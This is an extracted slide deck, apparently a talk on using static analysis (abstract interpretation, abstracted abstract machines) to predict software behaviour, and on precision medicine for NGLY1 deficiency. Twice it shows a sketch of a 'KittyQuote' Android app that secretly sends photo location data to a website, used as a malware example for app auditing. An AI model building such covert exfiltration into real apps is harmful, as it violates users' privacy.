Winning the War on Error: Solving the Halting Problem and Curing Cancer

Matt Might | matt.might.net | @mattmight
Winning the War on Error: Solving the Halting Problem and Curing Cancer

Matt Might
@mattmmight
A word from The White House.
This is personal talk. This talk may not reflect the views of the President or the administration.
But, it used to.
Spicer: Tweets are Trump's official statements
The War on Error
Error in code is bad.
code for software
code for software
code for people
code for people
We can fix both.
Unifying theme
Approximation!
Main ideas
public class KittyQuote extends Activity {
    String img = "k155"; // kitty image
    // other fields ...
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        // build quote list and other initialization
    }
    public String getKitty() {
        // access "DCIM/Camera" and use ExifInterface
        // to exfiltrate location
    }
    public void aboutButton(View view) {
        // display normal information
        String website = "http://www.catquotes.com";
        startActivity(
            new Intent(Intent.ACTION_VIEW,
                Uri.parse(website)));
        try {
            new SendOut().execute(website);
        } catch (Exception e) { }
    }
    public void nextButton(View view) {
        img = getKittey(); // store loc info
    }
    public void prevButton(View view) {
        img = getKittey();
    }
    public void kittyQuoteButton(View view) {
        // display kitty quote as toast message
        // ... and send out location info to a website
        String url = "http://www.catquotes.com?" + img;
        try {
            new SendOut().execute(url);
        } catch (Exception e) { }
    }
    // if network fails, not giving up
}
Type : quit<Enter> to exit Vim
\[ f : \{ \text{halts} \} \rightarrow \{ \text{loops} \} \]
\[ \hat{f} : \]  

\[ \begin{cases} \text{halts} \\
\text{loops} \\
\text{dunno} \end{cases} \]

Cousot & Cousot, 1977
\[ f : \text{human} \rightarrow \text{pill} \]
\[ \hat{f} : \text{human} \rightarrow \{ \text{pill}, \text{microscope} \} \]
Fixing Software
Software is terrible.
KEEP CALM AND

goto fail;
goto fail;
HACKERS CAN DISABLE A SNIPER RIFLE—OR CHANGE ITS TARGET

HACKERS REMOTELY KILL A JEEP ON THE HIGHWAY—WITH ME IN IT

For The First Time, Hackers Have Used A Refrigerator To Attack Businesses

Researchers hack a pacemaker, kill a man(nequin)

MORE LIKE THIS

10 terrifying extreme hacks

MEDJACK: Hackers hijacking medical devices to create backdoors in hospital...
Why?
A C programmer is one who, when told not to run with scissors, responds "it should be 'don't trip with scissors.' I never trip."
Solution?
Need to engineer software.
software engineering
software engineering is not engineering
an engineer uses prediction
\[ F = ma \]
\[ a = \frac{F}{m} \]
\[ v(t) = \int a \, dt \]
\[ v(t) = at + v_0 \]
\[ d(t) = \int a t + v_0 \, dt \]
\[ d(t) = \frac{1}{2} a t^2 + v_0 t + d_0 \]
\[ d(t) = \frac{1}{2} a t^2 + v_0 t + d_0 \]
\[ d(t) = \frac{1}{2} at^2 + v_0 t + d_0 \]
\[ x(t) = v_x t \]
\[ d(t) = \frac{1}{2}at^2 + v_0 t + d_0 \]
\[ x(t) = v_xt \]
example: bridges
HOW DO THEY KNOW THE LOAD LIMIT ON BRIDGES, DAD?

THEM DRIVE BIGGER AND BIGGER TRUCKS OVER THE BRIDGE UNTIL IT BREAKS.

THEN THEY WEIGH THE LAST TRUCK AND REBUILD THE BRIDGE.

OH, I SHOULD’VE GUESSED.

DEAR, IF YOU DON’T KNOW THE ANSWER, JUST TELL HIM!
\[ \sum_i \vec{F}_i = \vec{0} \]
So...
Can you predict software?
Alan “Party Pooper” Turing

nope.
Thou shalt not decide the halting behavior of a program.
while $P(x)$
What can we do?
*p++ = read();
Haskell
DARPA: CRASH
Or...
“the static analysis game”

Credit: Cousot & Cousot
How do you play the game?
Abstract Interpretation

Cousot & Cousot, 1977
Abstracting Abstract Machines
Abstract
We describe a derivational approach to abstract interpretation that yields novel and transparently sound static analyses when applied to well-established abstract machines. To demonstrate the technique and support our claim, we transform the CEK machine of Felleisen and Friedman, a lazy variant of Krivine’s machine, and the stack-inspecting CM machine of Clements and Felleisen into abstract interpretations of themselves. The resulting analyses bound temporal ordering of program events: predict return-flow and stack-inspection behavior, and approximate the flow and evaluation of by-need parameters. For all of these machines, we find that a series of well-known concrete machine refactorings, plus a technique we call store-allocated continuations, leads to machines that abstract into static analyses simply by bounding their stores. We demonstrate that the technique scales up uniformly to allow static analysis of realistic language features, including tail calls, conditionals, side effects, exceptions, first-class continuations, and even garbage collection.

Categories and Subject Descriptors F.3.2 [Logics and Meanings of Programs]: Semantics of Programming Languages—Program analysis, Operational semantics; F.4.1 [Mathematical Logic and Formal Languages]: Mathematical Logic—Lambda calculus and related systems

General Terms Languages, Theory

Keywords abstract machines, abstract interpretation

1. Introduction
Abstract machines such as the CEK machine and Krivine’s machine are first-order state transition systems that represent the core of a real language implementation. Semantics-based program analysis, on the other hand, is concerned with safely approximating intensional properties of such a machine as it runs a program. It seems natural then to want to systematically derive analyses from machines to approximate the core of realistic run-time systems.

Our go-al is to develop a technique that enables direct abstract interpretations of abstract machines by methods for transforming a given machine description into another that computes its finite approximation.

We demonstrate that the technique of refactoring a machine with store-allocated continuations allows a direct structural abstraction1 by bounding the machine’s store. Thus, we are able to convert semantic techniques used to model language features into static analysis techniques for reasoning about the behavior of those very same features. By abstracting well-known machines, our technique delivers static analyzers that can reason about by-need evaluation, higher-order functions, tail calls, side effects, stack structure, exceptions and first-class continuations.

The basic idea behind store-allocated continuations is not new. SML/NJ has allocated continuations in the heap for well over a decade [28]. At first glance, modeling the program stack in an abstract machine with store-allocated continuations would not seem to provide any real benefit. Indeed, for the purpose of defining the meaning of a program, there is no benefit, because the meaning of the program does not depend on the stack-implementation strategy. Yet, a closer inspection finds that store-allocating continuations eliminate recursion from the definition of the state-space of the machine. With no recursive structure in the state-space, an abstract machine becomes eligible for conversion into an abstract interpreter through a simple structural abstraction.

To demonstrate the applicability of the approach, we derive abstract interpreters of:

- a call-by-value λ-calculus with state and control based on the CESK machine of Felleisen and Friedman [13],
- a call-by-need λ-calculus based on a tail-recursive, lazy variant of Krivine’s machine derived by Ager, Danvy and Middagard [1], and
- a call-by-value λ-calculus with stack inspection based on the CM machine of Clements and Felleisen [3];

and use abstract garbage collection to improve precision [25].

Overview
In Section 2, we begin with the CEK machine and attempt a structural abstract interpretation, but find ourselves blocked by two recursive structures in the machine: environments and continuations.

We make three refactorings to:

1. store-allocate bindings,
2. store-allocate continuations, and
3. time-stamp machine states;

resulting in the CESK, CESK∗, and time-stamped CESK∗ machines, respectively. The time-stamps encode the history (context) of the machine’s execution and facilitate context-sensitive abstractions. We then demonstrate that the time-stamped machine abstracts directly into a parameterized, sound and computable static analysis.

\[\text{A structural abstraction distributes component-, point-, and member-wise.}\]
Systematic abstraction of abstract machines

DAVID VAN HORN
College of Computer and Information Science, Northeastern University, Boston, MA 02115, USA
(e-mail: dvanhorn@ccs.neu.edu)

MATTHEW MIGHT
School of Computing, University of Utah, Salt Lake City, UT 84112, USA
(e-mail: might@cs.utah.edu)

Abstract
We describe a derivational approach to abstract interpretation that yields novel and transparently sound static analyses when applied to well-established abstract machines for higher-order and imperative programming languages. To demonstrate the technique and support our claim, we transform the CEK machine of Felleisen and Friedman (Proc. of the 14th ACM SIGACT-SIGPLAN Symp. Prin. Program. Langs, 1987, pp. 314–325), a lazy variant of Krivine's machine (Higher-Order Symb. Comput. Vol 20, 2007, pp. 199–207), and the stack-inspecting CM machine of Clements and Felleisen (ACM Trans. Program. Lang. Syst. Vol 26, 2004, pp. 1029–1052) into abstract interpretations of themselves. The resulting analyses bound temporal ordering of program events; predict return-flow and stack-inspection behavior; and approximate the flow and evaluation of by-need parameters. For all of these machines, we find that a series of well-known concrete machine refactorings, plus a technique of store-allocated continuations, leads to machines that abstract into static analyses simply by bounding their stores. These machines are parameterized by allocation functions that tune performance and precision and substantially expand the space of analyses that this framework can represent. We demonstrate that the technique scales up uniformly to allow static analysis of realistic language features, including tail calls, conditionals, mutation, exceptions, first-class continuations, and even garbage collection. In order to close the gap between formalism and implementation, we provide translations of the mathematics as running Haskell code for the initial development of our method.

1 Introduction
Program analysis aims to soundly predict properties of programs before being run. For over 30 years, the research community has expended significant effort designing effective analyses for higher-order programs (Midggaard, to appear). Past approaches have focused on connecting high-level language semantics, such as structured operational semantics, denotational semantics, or reduction semantics, to equally high-level but dissimilar analytic models. Too often, these models are far removed from their programming language counterparts and take the form of constraint languages specified as relations on sets of program fragments (Wright & Jagannathan, 1998; Nielson et al., 1999; Meunier et al., 2006). These approaches require significant ingenuity in their design and involve complex constructions and correctness arguments, making it difficult to establish soundness, design algorithms,
Idea?
Interpreter

AAM

Approximator
public class KittyQuote extends Activity {
    String img = "k155"; // kitty image
    // other fields ...
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        // build quote list and other initialization
    }
    public String getKitty() {
        // access "DCIM/Camera" and use ExifInterface
        // to exfiltrate location
    }
    public void aboutButton(View view) {
        // display normal information
        String website = "http://www.catquotes.com";
        startActivity(
            new Intent(Intent.ACTION_VIEW,
                Uri.parse(website)));
        try {
            new SendOut().execute(website);
        } catch (Exception e) {
        }
    }
    public void nextButton(View view) {
        img = getKitty(); // store loc info
    }
    public void prevButton(View view) {
        img = getKitty();
    }
    public void kittyQuoteButton(View view) {
        // display kitty quote as toast message
        // ... and send out location info to a website
        String url = "http://www.catquotes.com?" + img;
        try {
            new SendOut().execute(url);
        } catch (Exception e) {
        } // if network fails, not giving up
}
inject : ▸
step :  \[\text{Diagram with two circles connected by a line}\]
\( \langle \text{nop} :: \textit{stmt}, \text{fp}, \sigma, \kappa \rangle \mapsto \langle \text{stmt}, \text{fp}, \sigma, \kappa \rangle \)

\( \langle \text{move-object}(r_d, r_s) :: \textit{stmt}, \text{fp}, \sigma, \kappa \rangle \mapsto \langle \text{stmt}, \text{fp}, \sigma[(r_d, \text{fp}) \mapsto \sigma(r_s, \text{fp})], \kappa \rangle \)

\( \langle \text{return-void} :: \textit{stmt}', \text{fp}', \sigma, \text{fnk}(\textit{stmt}, \text{fp}, \kappa) \rangle \mapsto \langle \text{stmt}, \text{fp}, \sigma, \kappa \rangle \)

\( \langle \text{return-object}(r) :: \textit{stmt}', \text{fp}', \sigma, \text{fnk}(\textit{stmt}, \text{fp}, \kappa) \rangle \mapsto \langle \text{stmt}, \text{fp}, \sigma[(\text{return}, \text{fp}) \mapsto \sigma(n, \text{fp}')], \kappa \rangle \)

\( \langle \text{const}(r, c) :: \textit{stmt}, \text{fp}, \sigma, \kappa \rangle \mapsto \langle \text{stmt}, \text{fp}, \sigma[(r, \text{fp}) \mapsto c], \kappa \rangle \)

\( \langle \text{throw}'(r) :: \textit{stmt}, \text{fp}, \sigma, \kappa \rangle \mapsto \langle \text{stmt}', \text{fp}', \sigma[(\text{exn}, \text{fp}') \mapsto \sigma(r, \text{fp})], \kappa' \rangle \)

\( \text{where } (\ell', \text{fp}', \kappa') = \text{H}(\ell, \text{fp}, \kappa) \)

\( \langle \text{goto}(\ell) :: \textit{stmt}, \text{fp}, \sigma, \kappa \rangle \mapsto \langle \text{stmt}, \text{fp}, \sigma, \kappa \rangle \)

\( \langle \text{new-instance}(r, \tau) :: \textit{stmt}, \text{fp}, \sigma, \kappa \rangle \mapsto \langle \text{stmt}, \text{fp}, \sigma[(r, \text{fp}) \mapsto o], \kappa \rangle \)

\( \text{where } o = \text{new}(\tau) \)

\( \langle \text{if-eq}(r, r', \ell) :: \textit{stmt}, \text{fp}, \sigma, \kappa \rangle \mapsto \langle \text{stmt}, \text{fp}, \sigma, \kappa \rangle \text{ if } \sigma(r, \text{fp}) = \sigma(r', \text{fp}) \)

\( \langle \text{if-neq}(r, r', \ell) :: \textit{stmt}, \text{fp}, \sigma, \kappa \rangle \mapsto \langle \text{stmt}, \text{fp}, \sigma, \kappa \rangle \text{ if } \sigma(r, \text{fp}) \neq \sigma(r', \text{fp}) \)

\( \langle \text{iget}(r_d, r_s, \text{field}) :: \textit{stmt}, \text{fp}, \sigma, \kappa \rangle \mapsto \langle \text{stmt}, \text{fp}, \sigma[(r_d, \text{fp}) \mapsto \sigma(a)], \kappa \rangle \)

\( \text{where } \sigma(r_s, \text{fp}) = o \text{ and } o.\text{field} = a \)

\( \langle \text{iput}(r_v, r_s, \text{field}) :: \textit{stmt}, \text{fp}, \sigma, \kappa \rangle \mapsto \langle \text{stmt}, \text{fp}, \sigma[a \mapsto \sigma(r_v, \text{fp})], \kappa \rangle \)

\( \text{where } \sigma(r_s, \text{fp}) = o \text{ and } o.\text{field} = a \)

\( \langle \text{invoke-direct}(r_0, \ldots, r_n, \text{id}) :: \textit{stmt}, \text{fp}, \sigma, \kappa \rangle \mapsto \langle \text{stmt}, \text{fp}, \sigma, \text{fnk}(\textit{stmt}, \text{fp}, \kappa) \rangle \)

\( \text{where } \sigma' = \sigma[(0, \text{fp}') \mapsto \sigma(r_0, \text{fp}), \ldots, (n, \text{fp}') \mapsto \sigma(r_n, \text{fp})] \)

\( \text{fp}' = \text{alloc}(\sigma) \)

\( \langle \text{invoke-virtual}(r_0, \ldots, r_n, \text{id}) :: \textit{stmt}, \text{fp}, \sigma, \kappa \rangle \mapsto \langle \text{stmt}, \text{fp}, \sigma, \text{fnk}(\textit{stmt}, \text{fp}, \kappa) \rangle \)

\( \text{where } \sigma' = \sigma[(0, \text{fp}') \mapsto \sigma(r_0, \text{fp}), \ldots, (n, \text{fp}') \mapsto \sigma(r_n, \text{fp})] \)

\( \text{fp}' = \text{alloc}(\sigma) \)

\( \langle \text{unop}(r_d, r_s) :: \textit{stmt}, \text{fp}, \sigma, \kappa \rangle \mapsto \langle \text{stmt}, \text{fp}, \sigma[(r_d, \text{fp}) \mapsto v], \kappa \rangle \)

\( \text{where } v = \delta(\text{unop}, \sigma(r_s, \text{fp})) \)

\( \langle \text{binop}(r_d, r_1, r_2) :: \textit{stmt}, \text{fp}, \sigma, \kappa \rangle \mapsto \langle \text{stmt}, \text{fp}, \sigma[(r_d, \text{fp}) \mapsto v], \kappa \rangle \)

\( \text{where } v = \delta(\text{binop}, \sigma(r_1, \text{fp}), \sigma(r_2, \text{fp})) \)
\[ \ell \circ \alpha \]
Step 1: Diagnose the problem
instruction

\( pc, \hat{\rho}, \hat{\sigma}, \hat{\kappa} \)

heap

frame pointer

stack
Step 2: Abstract
Step 2: Finitize
CESK
Control
Environment
Store
Kontinuation

(Felleisen & Friedman, 1987)
CESK
C = Expression

E = Var → Addr

S = Addr → Val

K = StackFrame*
Val
Val = \( Z + \text{Obj} \)
\{\ldots, -2, -1, 0, 1, 2, \ldots \}
\{-, 0, +\}
\mathcal{P}(\{-, 0, +\})
\[ Val = \hat{Z} + \text{Obj} \]
\( \hat{\text{Obj}} = \text{Class} \times \hat{\mathbb{E}} \)
\[
\begin{align*}
C &= \text{Expression} \\
E &= \text{Var} \rightarrow \text{Addr} \\
S &= \text{Addr} \rightarrow \hat{\text{Val}} \\
K &= \text{StackFrame}^* \\
\end{align*}
\]
\(\alpha : \text{Addr} \rightarrow \widehat{\text{Addr}}\)
C = Expression
E = Var $\rightarrow$ Addr
S = $\hat{\text{Addr}}$ $\rightarrow$ Val
K = StackFrame*
K = StackFrame*
\[ K = \text{StackFrame} \times K + \{\text{halt}\} \]
\[ K = \text{StackFrame} \times \text{Addr} \]
\[ \text{C} = \text{Expression} \]

\[ \text{E} = \text{Var} \rightarrow \text{Addr} \]

\[ \text{S} = \text{Addr} \rightarrow \mathcal{P}(\text{Val}) \]

\[ \text{K} = \text{StackFrame} \times \text{Addr} \]
\[ C = \text{Expression} \]
\[ \hat{E} = \text{Var} \rightarrow \text{Addr} \]
\[ \hat{S} = \text{Addr} \rightarrow \mathcal{P}(\hat{\text{Val}} + \hat{\text{K}}) \]
\[ \hat{K} = \text{StackFrame} \times \text{Addr} \]
“an abstracted abstract machine”
And, the semantics...
\begin{figure}[h]
\centering
\includegraphics[width=\textwidth]{figure1.png}
\caption{Dalvik semantics}
\end{figure}
\( \langle \text{nop} :: \text{st\textit{m}}, \text{fp}, \sigma, \vec{k}, \ell \rangle \mapsto (\text{st\textit{m}}, \text{fp}, \sigma, \vec{k}, \ell) \)

\( \langle \text{move-object}(r_d, r_s) :: \text{st\textit{m}}, \text{fp}, \sigma, \vec{k}, \ell \rangle \mapsto (\text{st\textit{m}}, \text{fp}, \sigma \cup [(r_d, \text{fp}) \mapsto \sigma(r_s, \text{fp})]), \vec{k}, \ell) \)

\( \langle \text{return-void} :: \text{st\textit{m}}, \text{fp}', \sigma, \text{funk}(\text{st\textit{m}}, \text{fp}, \vec{a}_\text{n}) \rangle \mapsto (\text{st\textit{m}}, \text{fp}, \sigma, \vec{k}) \text{ if } \vec{k} \in \sigma(\vec{a}_\text{n}) \)

\( \langle \text{return-object}(r) :: \text{st\textit{m}}, \text{fp}', \sigma, \text{funk}(\text{st\textit{m}}, \text{fp}, \vec{a}_\text{n}) \rangle \mapsto (\text{st\textit{m}}, \text{fp}, \sigma \cup [(\text{ret}, \text{fp}) \mapsto \sigma(n, \text{fp}'), \vec{k}] \text{ if } \vec{k} \in \sigma(\vec{a}_\text{n}) \)

\( \langle \text{const}(r, c) :: \text{st\textit{m}}, \text{fp}, \sigma, \vec{k}, \ell \rangle \mapsto (\text{st\textit{m}}, \text{fp}, \sigma \cup [(r, \text{fp}) \mapsto c], \vec{k}, \ell) \)

\( \langle \text{throw}(r) :: \text{st\textit{m}}, \text{fp}, \sigma, \vec{k} \rangle \mapsto (\mathcal{S}(\ell'), \text{fp}', \sigma \cup [(\text{exn}, \text{fp}') \mapsto \sigma(r, \text{fp})], \vec{k}') \)

\[ \text{where } (\ell', \text{fp}', \vec{k}') \in \mathcal{H}_\sigma(\ell, \text{fp}, \vec{k}) \]

\( \langle \text{goto}(\ell) :: \text{st\textit{m}}, \text{fp}, \sigma, \vec{k}, \ell \rangle \mapsto (\mathcal{S}(\ell), \text{fp}, \sigma, \vec{k}, \ell) \)

\( \langle \text{new-instance}(r, \tau) :: \text{st\textit{m}}, \text{fp}, \sigma, \vec{k}, \ell \rangle \mapsto (\text{st\textit{m}}, \text{fp}, \sigma \cup [(r, \text{fp}) \mapsto \text{a}], \vec{k}, \ell) \)

\[ \text{where } \text{a} = \text{new}(\varsigma) \]

\( \langle \text{if-eq}(r, r', \ell) :: \text{st\textit{m}}, \text{fp}, \sigma, \vec{k}, \ell \rangle \mapsto (\mathcal{S}(\ell), \text{fp}, \sigma, \vec{k}, \ell) \)

\[ \text{if } \exists \sigma_1 \in \sigma(r, \text{fp}), \exists \sigma_2 \in \sigma(r', \text{fp}), \sigma_1 = \sigma_2 \]

\( \langle \text{if-eq}(r, r', \ell) :: \text{st\textit{m}}, \text{fp}, \sigma, \vec{k}, \ell \rangle \mapsto (\text{st\textit{m}}, \text{fp}, \sigma, \vec{k}, \ell) \)

\[ \text{if } \exists \sigma_1 \in \sigma(r, \text{fp}), \exists \sigma_2 \in \sigma(r', \text{fp}), \sigma_1 \neq \sigma_2 \]

\( \langle \text{iget}(r_d, r_s, \text{field}) :: \text{st\textit{m}}, \text{fp}, \sigma, \vec{k}, \ell \rangle \mapsto (\text{st\textit{m}}, \text{fp}, \sigma \cup [(r_d, \text{fp}) \mapsto \sigma(a)], \vec{k}, \ell) \)

\[ \text{where } \sigma(r_d, \text{fp}) \ni \text{a and } \sigma(\text{a}.) = \text{a} \]

\( \langle \text{iput}(r_v, r_s, \text{field}) :: \text{st\textit{m}}, \text{fp}, \sigma, \vec{k}, \ell \rangle \mapsto (\text{st\textit{m}}, \text{fp}, \sigma \cup [\text{a} \mapsto \sigma(r_v, \text{fp})], \vec{k}, \ell) \)

\[ \text{where } \sigma(r_s, \text{fp}) \ni \text{a and } \sigma(\text{a}.) = \text{a} \]

\( \langle \text{invoke-direct}(r_0, \ldots, r_n, \text{id}) :: \text{st\textit{m}}, \text{fp}, \sigma, \vec{k}, \ell \rangle \mapsto (\mathcal{M}(\text{id}), \text{fp}', \sigma', \text{funk}(\text{st\textit{m}}, \text{fp}, \vec{a}_\text{n}), \ell') \)

\[ \text{where } \sigma' = \sigma \cup [(0, \text{fp}') \mapsto \sigma(r_0, \text{fp}), \ldots, (n, \text{fp}') \mapsto \sigma(r_n, \text{fp})] \]

\[ \text{fp}' = \text{alloc}(\varsigma) \]

\[ \vec{a}_\text{n} = \vec{\text{alloc}}(\varsigma) \]

\[ \ell' = \text{tick}(\ell) \]

\( \langle \text{invoke-virtual}(r_0, \ldots, r_n, \text{id}) :: \text{st\textit{m}}, \text{fp}, \sigma, \vec{k}, \ell \rangle \mapsto (\mathcal{V}(\text{id}, \text{v}), \text{fp}', \sigma', \text{funk}(\text{st\textit{m}}, \text{fp}, \vec{k}), \ell') \text{ if } v \in \sigma(r_0, \text{fp}) \)

\[ \text{where } \sigma' = \sigma \cup [(0, \text{fp}') \mapsto \sigma(r_0, \text{fp}), \ldots, (n, \text{fp}') \mapsto \sigma(r_n, \text{fp})] \]

\[ \text{fp}' = \text{alloc}(\varsigma) \]

\[ \vec{a}_\text{n} = \vec{\text{alloc}}(\varsigma) \]

\[ \ell' = \text{tick}(\ell) \]

\( \langle \text{unop}(r_d, r_s) :: \text{st\textit{m}}, \text{fp}, \sigma, \vec{k} \rangle \mapsto (\text{st\textit{m}}, \text{fp}, \sigma \cup [(r_d, \text{fp}) \mapsto v], \vec{k}) \)

\[ \text{where } v \in \delta(\text{unop}, \sigma(r_s, \text{fp})) \]

\( \langle \text{binop}(r_d, r_1, r_2) :: \text{st\textit{m}}, \text{fp}, \sigma, \vec{k} \rangle \mapsto (\text{st\textit{m}}, \text{fp}, \sigma \cup [(r_d, \text{fp}) \mapsto v], \vec{k}) \)

\[ \text{where } v \in \delta(\text{binop}, \sigma(r_1, \text{fp}), \sigma(r_2, \text{fp})) \]
What is static analysis?

Matt Might
matt.might.net
University of Utah
@mattmight

http://matt.might.net/articles/intro-static-analysis/
Can we win the game?
A terrible idea.
WHAT COULD POSSIBLY
GO WRONG?
App auditor
Good app

App auditor
App auditor
How did we do?
6 months in...
0%
The Vision
The Deliverable
finite state → pushdown
finite state $\rightarrow$ pushdown

e, \hat{\rho}, \hat{\sigma}, \hat{\kappa}

$e, \hat{\rho}, \hat{\sigma}, \hat{\kappa}$
finite state → pushdown
finite state $\rightarrow$ pushdown
analyzing parallel programs

SAS 2011
analyzing programs in parallel

POPL 2011  SFP 2013  WFLP 2013
information-flow analysis

PLAS 2012  SAS 2015
malware detection

SAS 2011

SAS 2015
DARPA: STAC
The problem of finding upper and lower bounds for the overall DAG becomes a graph shortest-path problem. Thus, the problem of estimating resource bounds for a CFG can be reduced to the problem of estimating these bounds for a single strongly-connected component of the graph.

**E.2.2 Step II: RRs for SCCs**

Our approach for building RRs for a single strongly-connected component of the CFG is a progressive sequence of attacks.

**Simple Loops**

The simplest strongly connected digraph is a simple recursive loop. Simple recursive loops are a form of tail recursion where a procedure calls itself (with reduced sizes). In such a scenario, the implied recurrence is of the form

\[ T(n) = T(g(n)) + f(n) \]

where bounds on \( g(n) \) are determined by sizing methods and \( f(n) \) represents the complexity of the nonrecursive components of the loop (which could span multiple procedures and include recursive components whose complexity were determined prior to this step).

**Complex Loops: Divide and Conquer and Dynamic Programming**

There are relatively simple algorithmic constructs that do not yield simple loops. For example, any simple divide-and-conquer strategy (or even a dynamic program) would yield a double loop around a vertex representing the recursive routine. In such cases, we take advantage of the fact that our goal is to get RRs that estimate the true complexity of the routine, rather than trying to nail down the precise complexity.

We propose a method based on a cycle decomposition of the CFG. We do a depth-first-search from the source routine and enumerate all resulting cycles. The true complexity is some max combination of the complexities of these paths. We can therefore use the above “simple” recurrence analysis to generate a collection of recursive expressions that describe the complexity of the complex loop. For example, a recurrence that calls itself twice yields two simple recurrences that need to be added together. Further sizing analysis might eliminate some of the “branches” as redundant to determining the true complexity. Alternatively, the system can then identify the paths likely to lead to worst-case and best-case analysis.

**Ear Decompositions**

In general, our CFG might resist easy attacks of the form described above. In this case, we resort to a stronger strategy based on a well-known characterization of strongly connected graphs.
The problem of finding upper and lower bounds for the overall DAG becomes a graph shortest-path problem. Thus, the problem of estimating resource bounds for a CFG can be reduced to the problem of estimating these bounds for a single strongly-connected component of the graph.

E.2.2 Step II: RRs for SCCs

Our approach for building RRs for a single strongly-connected component of the CFG is a progressive sequence of attacks.

Simple Loops

The simplest strongly connected digraph is a simple recursive loop. Simple recursive loops are a form of tail recursion where a procedure calls itself (with reduced sizes). In such a scenario, the implied recurrence is of the form

\[ T(n) = T(g(n)) + f(n) \]

where bounds on \( g(n) \) are determined by sizing methods and \( f(n) \) represents the complexity of the nonrecursive components of the loop (which could span multiple procedures and include recursive components whose complexity were determined prior to this step).

Complex Loops: Divide and Conquer and Dynamic Programming

There are relatively simple algorithmic constructs that do not yield simple loops. For example, any simple divide-and-conquer strategy (or even a dynamic program) would yield a double loop around a vertex representing the recursive routine. In such cases, we take advantage of the fact that our goal is to get RRs that estimate the true complexity of the routine, rather than trying to nail down the precise complexity.

We propose a method based on a cycle decomposition of the CFG. We do a depth-first-search from the source routine and enumerate all resulting cycles. The true complexity is some combination of the complexities of these paths. We can therefore use the above "simple" recurrence analysis to generate a collection of recursive expressions that describe the complexity of the complex loop. For example, a recurrence that calls itself twice yields two simple recurrences that need to be added together. Further sizing analysis might eliminate some of the "branches" as redundant to determining the true complexity. Alternatively, the system can then identify the paths likely to lead to worst-case and best-case analysis.

Ear Decompositions

In general, our CFG might resist easy attacks of the form described above. In this case, we resort to a stronger strategy based on a well-known characterization of strongly connected graphs.
RR Solver $O(h(n))$
Complexity attacks
Space attacks
Side channels
What about people?
Can we fix people?
THE PRECISION MEDICINE INITIATIVE

Yes, we can!
What is precision medicine?
Data-driven
(Often) genome-guided
“right drug to right patient”
Curing Cancer
Cancer is not a disease.
Cancer is *many* diseases.
Cancer is many rare diseases.
Curing rare diseases.
But, first BIO 101
DNA is char*.
post-translational modification
Many proteins are enzymes
The genome has syntax!
The genome has semantics!
DNA has an instruction set!
ATGGGCCTGA
ATG GCC TGA
ATG
BEGIN PROTEIN
  INSERT methionine;
INSERT alanine;
END
BEGIN PROTEIN
  INSERT methionine;
  INSERT alanine;
END
Mutations
ATG GCC TGA
ATG GAC TGA
BEGIN PROTEIN

INSERT methionine;
INSERT alanine;

END
BEGIN PROTEIN
    INSERT methionine;
    INSERT aspartic;
END
Many mutations are benign
Some destroy function
Some increase function
Some change function
Rare diseases...
...are monogenic mutations.
Cancer is multigenic!
Tumors evolve!
Curing cancer is like curing many monogenic diseases...on the fly!
Curing monogenic disease?
Need an algorithm.
sequencing
sequencing

- web / wikipedia
- gene experts
- functional studies
total loss of function

- model organisms
- structural analysis
- enzyme synthesis
- stem cell creation
- gene therapy
- metabolic diet
- assay development
gain of function

- RNA downregulation
- inhibitor / antagonist
- model organism
- dietary changes
partial loss

- RNA upregulation
- assay development
- model organism
- dietary changes
clinical trials
clinical trials
Will it work?
Yes.
NGLY1
NGLY1
NGLY1
“first”
“only”
“n = I”
Then, how *do* you know?
Molecular dynamics?
It doesn’t scale!
We need a workaround.
THE PRECISION MEDICINE INITIATIVE
1,000,000 Americans!
Building a “genetic telescope”!
Heart disease
Cancer
Diabetes
Mental health
Lung disease
Obesity
Pioneering Precision Medicine: The Million Veterans Program
But, what about my son’s mutation?
I wrote a blog post.
Hunting down my son's killer

I found my son's killer.

It took three years.

But we did it.

Not quite like this.
GIZMODO

Hunting Down My Son's Killer

Hacker News
Hunting down my son's killer - Matt Might
matt.might.net/articles/my-sons-killer/

We discovered that my son inherited two different (thus-far-unique) mutations in the same gene—the NGLY1 gene—which encodes the enzyme N-glycanase 1.
THE RAREST DISEASE

BY SETH MNOOKIN
Finding a treatment
This is a personal talk and my views do not necessarily reflect the views of the President or the administration.
That's great, but...
Clement Chow, Ph.D.
survival

100%

without GlcNAc    with GlcNAc
And, in general...
Man6-GlcNAc2-\(\alpha\) \rightarrow\text{Man6-GlcNAc2} + \text{alpha}

Man6-GlcNAc2-\(\alpha\) \rightarrow\text{Man6-GlcNAc} + \text{GlcNAc-}\alpha\)

GlcNAc-\(\alpha\) + GlcNAc-\(\beta\) \rightarrow\text{GlcNAc-}\alpha\text{GlcNAc-}\beta\)
Man6-GlcNAc2-$\alpha$ => Man6-GlcNAc2 + $\alpha$

Man6-GlcNAc2-$\alpha$ => Man6-GlcNAc + GlcNAc-$\alpha$

GlcNAc-$\alpha$ + GlcNAc-$\beta$ => GlcNAc-$\alpha$-GlcNAc-$\beta$
“What happens now?”
computer science

biology & medicine
Toward therapeutics for NGLY1 deficiency
+ RNAi for NGLY1
+ RNAi for NGLY1
+ RNAi for NGLY1 & Gene X
+ RNAi for NGLY1 & Gene X
computer science

biology & medicine
computer science

biology & medicine
70 compounds!
14 FDA approved!
I works in the lab!
PREVACID® 24HR
Lansoprazole delayed-release capsules 15 mg / acid reducer

- May take 1 to 4 days for full effect, although some people get complete relief of symptoms within 24 hours
- Clinically Proven To Treat Frequent Heartburn

14 CAPSULES
ONE 14-DAY COURSE OF TREATMENT

Sodium Free
Repurposing of Proton Pump Inhibitors as First Identified Small Molecule Inhibitors of Endo-β-N-acetylglucosaminidase (ENGase) for the Treatment of Rare NGLY1 Genetic Disease

Yiling Bi\textsuperscript{a}, Matthew Might\textsuperscript{b}, Hariprasad Vankayalapati\textsuperscript{c, *}, and Balagurunathan Kuberan\textsuperscript{a, d, e, f, *}

\textsuperscript{a}Department of Medicinal Chemistry, University of Utah, Salt Lake City, Utah 84112, United States
\textsuperscript{b}School of Computing, University of Utah, Salt Lake City, Utah 84112, United States
\textsuperscript{c}Division of Oncology of School of Medicine and Center for Investigational Therapeutics at Huntsman Cancer Institute, University of Utah, 2000 Circle of Hope, Salt Lake City, Utah 84112, United States.
\textsuperscript{d}Department of Biology, University of Utah, Salt Lake City, Utah 84112, United States
\textsuperscript{e}Department of Bioengineering, University of Utah, Salt Lake City, Utah 84112, United States
